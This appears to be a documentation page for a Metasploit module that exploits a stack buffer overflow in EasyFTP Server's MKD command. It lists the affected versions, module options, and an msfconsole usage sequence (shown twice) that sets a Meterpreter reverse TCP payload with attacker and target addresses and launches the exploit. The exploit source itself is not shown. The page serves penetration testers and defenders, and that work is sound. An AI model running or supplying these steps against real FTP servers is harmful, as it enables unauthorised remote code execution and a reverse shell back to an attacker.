EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which leads to a stack based buffer overflow. NOTE: EasyFTP allows anonymous access by default. However, in order to access the 'MKD' command, you must have access to an account that can create directories. After version 1.7.0.12, this package was renamed "UplusFtp". This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'. This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by 'fixing' the return address post-exploitation. See references for more information.
Exploit Rank
- Great
Exploit Authors
- x90c < geinblues [at] gmail.com >
- jduck < jduck [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows Universal - v1.7.0.2 (default)
- 1 - Windows Universal - v1.7.0.3
- 2 - Windows Universal - v1.7.0.4
- 3 - Windows Universal - v1.7.0.5
- 4 - Windows Universal - v1.7.0.6
- 5 - Windows Universal - v1.7.0.7
- 6 - Windows Universal - v1.7.0.8
- 7 - Windows Universal - v1.7.0.9
- 8 - Windows Universal - v1.7.0.10
- 9 - Windows Universal - v1.7.0.11
Exploit Development
Similar Exploit Modules
- exploit/windows/ftp/32bitftp_list_reply
- exploit/windows/ftp/3cdaemon_ftp_user
- exploit/windows/ftp/aasync_list_reply
- exploit/windows/ftp/ability_server_stor
- exploit/windows/ftp/absolute_ftp_list_bof
- exploit/windows/ftp/cesarftp_mkd
- exploit/windows/ftp/dreamftp_format
- exploit/windows/ftp/easyfilesharing_pass
- exploit/windows/ftp/easyftp_cwd_fixret
- exploit/windows/ftp/easyftp_list_fixret
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ftp/easyftp_mkd_fixret
msf exploit(easyftp_mkd_fixret) > show payloads
msf exploit(easyftp_mkd_fixret) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(easyftp_mkd_fixret) > set LHOST [MY IP ADDRESS]
msf exploit(easyftp_mkd_fixret) > set RHOST [TARGET IP]
msf exploit(easyftp_mkd_fixret) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ftp/easyftp_mkd_fixret
msf exploit(easyftp_mkd_fixret) > show payloads
msf exploit(easyftp_mkd_fixret) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(easyftp_mkd_fixret) > set LHOST [MY IP ADDRESS]
msf exploit(easyftp_mkd_fixret) > set RHOST [TARGET IP]
msf exploit(easyftp_mkd_fixret) > exploit
Exploit Module Options
| FTPPASS | The password for the specified username (default: mozilla@example.com) |
| FTPUSER | The username to authenticate as (default: anonymous) |
| RHOST | The target address |
| RPORT | The target port (default: 21) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| FTPDEBUG | Whether or not to print verbose debug statements |
| FTPTimeout | The number of seconds to wait for a reply from an FTP command |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
